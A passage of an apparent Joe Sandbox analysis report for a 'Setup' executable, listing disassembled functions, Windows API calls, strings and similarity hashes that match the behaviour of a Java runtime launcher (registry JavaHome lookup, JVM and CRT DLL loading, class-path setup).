\bin\vcruntime140.dll, xrefs: 00007FF7AEE96B1B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: LibraryLoad
String ID: CRT path is %s$Error: Path length exceeds maximum length (PATH_MAX)$Error: loading: %s$PRT path is %s$\bin\$\bin\msvcp140.dll$\bin\vcruntime140.dll$\bin\vcruntime140_1.dll$msvcp140.dll$vcruntime140.dll$vcruntime140_1.dll
API String ID: 1029625771-2662282541
Opcode ID: 806c80549a57924ac01e61a61c2caa2d7e6d12b5e1dcbde8f869052935da3841
Instruction ID: d1a9947512e65740fb4ef204e3786101896251a4cc031bfece8e4a92fa144b52
Opcode Fuzzy Hash: 806c80549a57924ac01e61a61c2caa2d7e6d12b5e1dcbde8f869052935da3841
Instruction Fuzzy Hash: B0511E71A1E54361FE20FB12E8511B9E3A0FF94348FC64132F99D425B6EEACE515C720

Function 00007FF7AEE96CC4 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 126registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF7AEE96D2A
RegEnumKeyA.ADVAPI32 ref: 00007FF7AEE96D51
RegEnumKeyA.ADVAPI32 ref: 00007FF7AEE96DAE
RegOpenKeyExA.ADVAPI32 ref: 00007FF7AEE96DDA
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96DF6
RegQueryValueExA.ADVAPI32 ref: 00007FF7AEE96E31
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96E45
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96E67
RegCloseKey.ADVAPI32 ref: 00007FF7AEE96EAF

Strings

Software\JavaSoft\Java Runtime Environment, xrefs: 00007FF7AEE96D23
JavaHome, xrefs: 00007FF7AEE96E12

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Close$EnumOpen$QueryValue
String ID: JavaHome$Software\JavaSoft\Java Runtime Environment
API String ID: 2572215972-2531112370
Opcode ID: 496ad6ac866e299300a81ee0ee3a9b0d22cb923cfb6ab4ff93528eee10404356
Instruction ID: 19c6328016e33c1567f265c1696c843cc209e96d47444bbccd3a5ab836b699fe
Opcode Fuzzy Hash: 496ad6ac866e299300a81ee0ee3a9b0d22cb923cfb6ab4ff93528eee10404356
Instruction Fuzzy Hash: 15515232A1EA4781FA50BB63E45067AE3A4FF84B84F864132FD9E43A64DF7CE5458710

Function 00007FF7AEE954B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 99synchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEEA6CBC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA6CE0

WaitForSingleObject.KERNEL32 ref: 00007FF7AEE955DD
GetExitCodeThread.KERNEL32 ref: 00007FF7AEE955EB
CloseHandle.KERNEL32 ref: 00007FF7AEE955F4

Part of subcall function 00007FF7AEEA6CBC: CreateThread.KERNEL32 ref: 00007FF7AEEA6D21
Part of subcall function 00007FF7AEEA6CBC: GetLastError.KERNEL32 ref: 00007FF7AEEA6D2F
Part of subcall function 00007FF7AEEA6CBC: CloseHandle.KERNEL32 ref: 00007FF7AEEA6D4C
Part of subcall function 00007FF7AEEA6CBC: FreeLibrary.KERNEL32 ref: 00007FF7AEEA6D5B

Strings

false, xrefs: 00007FF7AEE95539, 00007FF7AEE95566
true, xrefs: 00007FF7AEE9559D
preloadD3D, xrefs: 00007FF7AEE955C6
J2D_D3D_PRELOAD, xrefs: 00007FF7AEE95552
J2D_D3D, xrefs: 00007FF7AEE95528

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CloseHandleThread$CodeCreateErrorExitFreeLastLibraryObjectSingleWait_invalid_parameter_noinfo
String ID: J2D_D3D$J2D_D3D_PRELOAD$false$preloadD3D$true
API String ID: 2847611408-3397395437
Opcode ID: c9f113a99d199f25bf34a784e1bde5df4a05aedc6fa0d44eeea2a721a9ada148
Instruction ID: 995993c13b4580c9cf3318566dab892caf6059178b60ec2de877f52744d3a2d3
Opcode Fuzzy Hash: c9f113a99d199f25bf34a784e1bde5df4a05aedc6fa0d44eeea2a721a9ada148
Instruction Fuzzy Hash: 0D414E71A1EB4286FB14BB13E841278E6A1BF84B95F864139E94E437B5DFBCE444C620

Function 00007FF7AEE928B4 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE92998
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE929AB

Part of subcall function 00007FF7AEE95660: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF7AEE93857), ref: 00007FF7AEE95674

Strings

Error: A JNI error has occurred, please check your installation and try again, xrefs: 00007FF7AEE929B5
----%s----, xrefs: 00007FF7AEE929A4
_JAVA_LAUNCHER_DEBUG, xrefs: 00007FF7AEE9299D
%ld micro seconds to load main class, xrefs: 00007FF7AEE92991
(ZILjava/lang/String;)Ljava/lang/Class;, xrefs: 00007FF7AEE92901
checkAndLoadMain, xrefs: 00007FF7AEE92908

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: wprintf$FrequencyPerformanceQuery
String ID: %ld micro seconds to load main class$(ZILjava/lang/String;)Ljava/lang/Class;$----%s----$Error: A JNI error has occurred, please check your installation and try again$_JAVA_LAUNCHER_DEBUG$checkAndLoadMain
API String ID: 55271498-1016856437
Opcode ID: e9a106b99c750411f8637d6485dc0ee5eb5c3a4d9641364c7dcbf1e3f043e382
Instruction ID: 03b66708f67d54dd1533de89495dc76a24cf111762e3faa7b3ceed1b46538471
Opcode Fuzzy Hash: e9a106b99c750411f8637d6485dc0ee5eb5c3a4d9641364c7dcbf1e3f043e382
Instruction Fuzzy Hash: E9311C71A0E74680FE10BF67A8401A9E794AF49FD4F8A4431ED4D0777ADEBCE4458760

Function 00007FF7AEE96A04 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEE96AA0: LoadLibraryA.KERNEL32 ref: 00007FF7AEE96B52
Part of subcall function 00007FF7AEE96AA0: LoadLibraryA.KERNEL32 ref: 00007FF7AEE96BDC

LoadLibraryA.KERNEL32(?,?,00000000,00007FF7AEE9203F), ref: 00007FF7AEE96A30
GetProcAddress.KERNEL32(?,?,00000000,00007FF7AEE9203F), ref: 00007FF7AEE96A51
GetProcAddress.KERNEL32(?,?,00000000,00007FF7AEE9203F), ref: 00007FF7AEE96A64

Part of subcall function 00007FF7AEE96630: MessageBoxA.USER32 ref: 00007FF7AEE966D2

Strings

JNI_CreateJavaVM, xrefs: 00007FF7AEE96A47
Error: can't find JNI interfaces in: %s, xrefs: 00007FF7AEE96A7D
JVM path is %s, xrefs: 00007FF7AEE96A1C
JNI_GetDefaultJavaVMInitArgs, xrefs: 00007FF7AEE96A57
Error: loading: %s, xrefs: 00007FF7AEE96A3E

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: LibraryLoad$AddressProc$Message
String ID: Error: can't find JNI interfaces in: %s$Error: loading: %s$JNI_CreateJavaVM$JNI_GetDefaultJavaVMInitArgs$JVM path is %s
API String ID: 3101497455-3810690643
Opcode ID: 81f926b1e841866a7923abbd6fa049ddf6f2c06e411d83a556879170c57a7c05
Instruction ID: cb6fbb6e77f4103c4e2b185db9ad1b87790bcd0e4a7536c02c9b8999f92e8555
Opcode Fuzzy Hash: 81f926b1e841866a7923abbd6fa049ddf6f2c06e411d83a556879170c57a7c05
Instruction Fuzzy Hash: CB01FE30A0EA4390FE14BB13B950275F3A1AF45780FC6D132E9AE067B5DEACE4558320

Function 00007FF7AEEA94D4 Relevance: 13.8, APIs: 9, Instructions: 273fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AEEA9094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA90D5
Part of subcall function 00007FF7AEEA9094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA9155
Part of subcall function 00007FF7AEEA9094: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEA91A9
Part of subcall function 00007FF7AEEA9094: _get_daylight.LIBCMT ref: 00007FF7AEEA9201

CreateFileW.KERNEL32 ref: 00007FF7AEEA95DA
CreateFileW.KERNEL32 ref: 00007FF7AEEA962A
GetLastError.KERNEL32 ref: 00007FF7AEEA965A
GetFileType.KERNEL32 ref: 00007FF7AEEA966F
GetLastError.KERNEL32 ref: 00007FF7AEEA9679
CloseHandle.KERNEL32 ref: 00007FF7AEEA96AC
CloseHandle.KERNEL32 ref: 00007FF7AEEA9807
CreateFileW.KERNEL32 ref: 00007FF7AEEA983C
GetLastError.KERNEL32 ref: 00007FF7AEEA984B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 1799b2f7489431ff5a8b7e6613862bb9637e19e5281c98c62e3c6134856f2460
Instruction ID: 57c6c5702a2dd456ac3666ed6bc3b4934ba4dadc3a427cfedc00702d2d919562
Opcode Fuzzy Hash: 1799b2f7489431ff5a8b7e6613862bb9637e19e5281c98c62e3c6134856f2460
Instruction Fuzzy Hash: DCC1C236B29A4286FB10EF6AD4901BC7771FB89B94F424229DA2E473E4CF79D451C320

Function 00007FF7AEE915FC Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE9168B
sprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE916E5

Strings

-Denv.class.path=%s, xrefs: 00007FF7AEE9167E
;, xrefs: 00007FF7AEE91630
CLASSPATH, xrefs: 00007FF7AEE91629
Error: Could not determine application home., xrefs: 00007FF7AEE916AD
-Djava.class.path=, xrefs: 00007FF7AEE9172A
-Dapplication.home=%s, xrefs: 00007FF7AEE916DB

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: sprintf
String ID: -Dapplication.home=%s$-Denv.class.path=%s$-Djava.class.path=$;$CLASSPATH$Error: Could not determine application home.
API String ID: 590974362-1246759518
Opcode ID: 6793fc731f4ccbda5d87f08042c90dbe429048c3677c40bfee960d68ae100d79
Instruction ID: b4415da7ba842a222d47aef9bca083850f9758c1f1d7d53c9d5c84629c288e66
Opcode Fuzzy Hash: 6793fc731f4ccbda5d87f08042c90dbe429048c3677c40bfee960d68ae100d79
Instruction Fuzzy Hash: 60414A31A2E64251F914FB23A8511F9D3D0AF89B80FCA4135FD4E473B7EEACE4068620

Function 00007FF7AEEA9F40 Relevance: 10.8, APIs: 7, Instructions: 291COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEAA376

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 03835eed2511794ef1806b7f7081e0c12be8bfe6403703d697b9048c26610adb
Instruction ID: b533060bfaae26d697247eb8373f2c6266e5a48dca08970f5fe7a2a4a8deecaf
Opcode Fuzzy Hash: 03835eed2511794ef1806b7f7081e0c12be8bfe6403703d697b9048c26610adb
Instruction Fuzzy Hash: C6C1E432A0E78651F661BB1794402BDBB91FB81B81F864139DA4E033B5DFBDE865C320

Function 00007FF7AEEB0434 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 202COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AEEB0476
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,strdup,00000002,?,00007FF7AEE9F6EE,?,?,00000000,00007FF7AEE9129B), ref: 00007FF7AEEB0534
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,strdup,00000002,?,00007FF7AEE9F6EE,?,?,00000000,00007FF7AEE9129B), ref: 00007FF7AEEB05BE

Strings

strdup, xrefs: 00007FF7AEEB043B

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID: strdup
API String ID: 2210144848-3162730407
Opcode ID: 5f6e868cac8767b8cd00cb556661574c3e77d0b1cf669c8e4ef70b47ba6a9909
Instruction ID: 4ee8689a90c40fe7fc2f04588d3c790197430f345068d3ce3eedbc56fd094191
Opcode Fuzzy Hash: 5f6e868cac8767b8cd00cb556661574c3e77d0b1cf669c8e4ef70b47ba6a9909
Instruction Fuzzy Hash: FC81D332E1E60285F711BB6794602BDB664AB84784F86C235DE8E53AB5DFBCB441C330

Function 00007FF7AEE96728 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,?,00000000,00000000,00000105,00000000), ref: 00007FF7AEE9675F
FormatMessageA.KERNEL32 ref: 00007FF7AEE9678A
MessageBoxA.USER32 ref: 00007FF7AEE9688E
fwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7AEE968E4
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000105,00000000), ref: 00007FF7AEE968ED

Strings

Java Virtual Machine Launcher, xrefs: 00007FF7AEE96882

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Message$ErrorFormatFreeLastLocalfwprintf
String ID: Java Virtual Machine Launcher
API String ID: 3630131139-898708411
Opcode ID: 34e35c17a90e0a6dac7562f769ba0c42994651291d7eb5778f65e679b0df0a84
Instruction ID: a1012d76f20a3b53c17de5c7b3ffde330464220986c0ef035286bdea8b599f50
Opcode Fuzzy Hash: 34e35c17a90e0a6dac7562f769ba0c42994651291d7eb5778f65e679b0df0a84
Instruction Fuzzy Hash: 1A51C532A0D64241FB20FB62A8517BDE6E0BB44788F864536EE5D477A1DFBCD4048320

Function 00007FF7AEE9C6B4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7AEE9C966,?,?,?,00007FF7AEE9C658,?,?,00000001,00007FF7AEE9C375), ref: 00007FF7AEE9C739
GetLastError.KERNEL32(?,?,?,00007FF7AEE9C966,?,?,?,00007FF7AEE9C658,?,?,00000001,00007FF7AEE9C375), ref: 00007FF7AEE9C747
LoadLibraryExW.KERNEL32(?,?,?,00007FF7AEE9C966,?,?,?,00007FF7AEE9C658,?,?,00000001,00007FF7AEE9C375), ref: 00007FF7AEE9C771
FreeLibrary.KERNEL32(?,?,?,00007FF7AEE9C966,?,?,?,00007FF7AEE9C658,?,?,00000001,00007FF7AEE9C375), ref: 00007FF7AEE9C7B7
GetProcAddress.KERNEL32(?,?,?,00007FF7AEE9C966,?,?,?,00007FF7AEE9C658,?,?,00000001,00007FF7AEE9C375), ref: 00007FF7AEE9C7C3

Strings

api-ms-, xrefs: 00007FF7AEE9C759

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c93b9afa9378045dd70fb8ef329fe2978787cf993e8feb7acc1572fb472f35fc
Instruction ID: ceb43c1201490d9b9b095f4311b69b91dd2c4c10bed8e5863e4b37833fa7d8c8
Opcode Fuzzy Hash: c93b9afa9378045dd70fb8ef329fe2978787cf993e8feb7acc1572fb472f35fc
Instruction Fuzzy Hash: B2319431A1FA4281FE12BB179400575E2D4BF18BA4F9B4535EE2D4B7A4EFBCE4408320

Function 00007FF7AEEB7C34 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7AEEB7C65
GetLastError.KERNEL32 ref: 00007FF7AEEB7C71
CloseHandle.KERNEL32 ref: 00007FF7AEEB7C89
CreateFileW.KERNEL32 ref: 00007FF7AEEB7CB4
WriteConsoleW.KERNEL32 ref: 00007FF7AEEB7CD3

Strings

CONOUT$, xrefs: 00007FF7AEEB7C95

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b978a35b7cc1b70b866fd404e3b01f6d9dbae4f0d2cae35a5a8d853d967fe07c
Instruction ID: 1864f597d657100b46e13028479309d511fe7b1ce29efd43df2b9ee8614af258
Opcode Fuzzy Hash: b978a35b7cc1b70b866fd404e3b01f6d9dbae4f0d2cae35a5a8d853d967fe07c
Instruction Fuzzy Hash: 4D117F31B1DA4182F350BB53A844329A2A0BB88BE4F818334EA5E977A4DFBCD854C750

Function 00007FF7AEE9C174 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7AEE9C19F
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7AEE9C234
RtlUnwindEx.KERNEL32 ref: 00007FF7AEE9C283

Strings

f, xrefs: 00007FF7AEE9C1B2
csm, xrefs: 00007FF7AEE9C21A

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d1235d08063fd44caa80003cf1faec46bd67c8aa531a05c929fa3fce195626d
Instruction ID: 8a019f2a39feb03858f88662afdb8395cc21fd81f0aa90fc7126c1d5a8eb6f92
Opcode Fuzzy Hash: 9d1235d08063fd44caa80003cf1faec46bd67c8aa531a05c929fa3fce195626d
Instruction Fuzzy Hash: CB51B532A0E60286FB54FB16E404A79F7D5FB44B88F928130ED4A47768DFB8E941C720

Function 00007FF7AEE96114 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7AEE96137
GetProcAddress.KERNEL32 ref: 00007FF7AEE96150

Strings

jvm.dll, xrefs: 00007FF7AEE96130
JVM_FindClassFromBootLoader, xrefs: 00007FF7AEE96146, 00007FF7AEE96162
Error: loading: %s, xrefs: 00007FF7AEE96169

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Error: loading: %s$JVM_FindClassFromBootLoader$jvm.dll
API String ID: 1646373207-1240634009
Opcode ID: f99fa822e1113b8a7d7db7db58e6a4466111a4f3c726ee70dd1d84e3cc1a4afe
Instruction ID: 5b381bee5e4f42d06449dcb303d0506452996eb2b311e75c765314472caf48cb
Opcode Fuzzy Hash: f99fa822e1113b8a7d7db7db58e6a4466111a4f3c726ee70dd1d84e3cc1a4afe
Instruction Fuzzy Hash: 47F01D70A1FA0391FE14BB13E994178D2A1AF48788FC68535D85D06775EFACE494C260

Function 00007FF7AEE9FAA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7AEE9FAC0
GetProcAddress.KERNEL32 ref: 00007FF7AEE9FAD6
FreeLibrary.KERNEL32 ref: 00007FF7AEE9FAF3

Strings

CorExitProcess, xrefs: 00007FF7AEE9FACF
mscoree.dll, xrefs: 00007FF7AEE9FAB7

Memory Dump Source

Source File: 0000000B.00000002.3289057355.00007FF7AEE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AEE90000, based on PE: true

Associated: 0000000B.00000002.3289027007.00007FF7AEE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289102151.00007FF7AEEB9000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289133895.00007FF7AEECA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3289165231.00007FF7AEECD000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7aee90000_Setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e5d9057759f63bdc52e77bb7fb25d867f581dcb33219df1bdb630c50641dc064
Instruction ID: 9c2f1041314d9faa588b190813d0f2b837dfb60a10e6abc20391cc3e85feedb1
Opcode Fuzzy Hash: e5d9057759f63bdc52e77bb7fb25d867f581dcb33219df1bdb630c50641dc064
